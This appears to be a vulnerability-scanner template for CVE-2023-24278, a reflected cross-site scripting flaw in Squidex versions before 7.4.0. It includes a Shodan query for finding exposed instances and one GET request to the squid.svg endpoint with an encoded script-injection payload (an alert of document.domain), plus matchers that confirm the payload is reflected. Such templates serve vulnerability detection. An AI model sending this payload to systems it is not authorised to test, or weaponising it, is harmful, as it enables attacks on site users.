Squidex <7.4.0 - Cross-Site Scripting

id: CVE-2023-24278

info:
  name: Squidex <7.4.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Squidex before 7.4.0 contains a cross-site scripting vulnerability via the squid.svg endpoint. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to Squidex CMS version 7.4.0 or later to mitigate this vulnerability.
  reference:
    - https://census-labs.com/news/2023/03/16/reflected-xss-vulnerabilities-in-squidex-squidsvg-endpoint/
    - https://www.openwall.com/lists/oss-security/2023/03/16/1
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24278
    - https://github.com/karimhabush/cyberowl
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24278
    cwe-id: CWE-79
    epss-score: 0.0011
    epss-percentile: 0.4314
    cpe: cpe:2.3:a:squidex.io:squidex:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: squidex.io
    product: squidex
    shodan-query: http.favicon.hash:1099097618
  tags: cve2023,cve,xss,squidex,cms,unauth,squidex.io

http:
  - method: GET
    path:
      - "{{BaseURL}}/squid.svg?title=Not%20Found&text=This%20is%20not%20the%20page%20you%20are%20looking%20for!&background=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cimg%20src=%22&small"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "looking for!"
        condition: and

      - type: word
        part: header
        words:
          - "image/svg+xml"

      - type: status
        status:
          - 200
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